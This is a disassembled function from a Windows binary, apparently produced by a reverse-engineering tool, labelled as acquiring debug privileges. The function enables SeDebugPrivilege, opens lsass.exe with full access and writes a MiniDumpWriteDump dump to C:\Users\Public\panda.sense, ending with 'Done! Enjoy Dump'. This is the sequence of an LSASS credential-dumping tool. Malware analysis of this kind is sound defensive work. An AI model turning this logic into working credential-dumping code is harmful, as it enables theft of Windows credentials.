Function at 0x140004650
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
mov qword [rbp + 0x27], rdi
mov qword [rbp + 0x37], rdi
mov qword [rbp + 0x3f], 7
mov word [rbp + 0x27], di
lea r8d, [rdi + 9]
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x27]
call fcn.140004970
nop
lea rcx, [rbp + 0x27]
call fcn.140003610
mov esi, eax
mov rdx, qword [rbp + 0x3f]
cmp rdx, 8
jb 0x1400046f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000562c
mov qword [rbp - 0x29], rdi
mov qword [rbp + 0x2b], rdi
lea r8, [rbp - 0x29]
mov edx, 0x28
mov rcx, 0xffffffffffffffff
call fcn.1400054d0
test eax, eax
je 0x140004725
lea rcx, str.Failed_to_open_process_token._n
call fcn.140001100
jmp 0x1400047e1
lea rdx, str.___NtOpenProcessToken_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a70
mov rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x27], 1
mov dword [rbp + 0x33], 2
lea r8, [rbp + 0x2b]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp - 0x29]
test eax, eax
je 0x1400047db
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x27]
xor edx, edx
call fcn.140005510
mov ebx, eax
test eax, eax
je 0x1400047a9
lea rcx, str.Failed_to_adjust_process_token._n
call fcn.140001100
lea rdx, str.___NtAdjustPrivilegesToken_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a70
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp - 9], 0x30
mov qword [rbp + 7], rdi
mov dword [rbp + 0xf], edi
mov qword [rbp - 1], rdi
mov qword [rbp + 0x17], rdi
mov qword [rbp - 0x19], rsi
mov qword [rbp - 0x11], rdi
lea r9, [rbp - 0x19]
lea r8, [rbp - 9]
mov edx, 0x1fffff
lea rcx, [rbp - 0x21]
call fcn.140005410
mov ebx, eax
lea rdx, str.___NtOpenProcess_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a70
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.C:UsersPublicpanda.sense
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
test rax, rax
jne 0x14000488a
lea rcx, str.Failed_to_write_dump:_Invalid_dump_file_path._n
call fcn.140001100
xor al, al
jmp 0x1400048cc
mov r8, rdi
mov edx, esi
mov rcx, qword [rbp - 0x21]
call fcn.140004010
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x1400048b7
lea rcx, str.Looks_like_an_error:_MiniDumpWriteDump_failed._n
call fcn.140001100
xor al, al
jmp 0x1400048cc
lea rdx, str.C:UsersPublicpanda.sense
lea rcx, str.Done__Enjoy_Dump.__s__n
call fcn.140001100
mov al, 1
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400055d0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret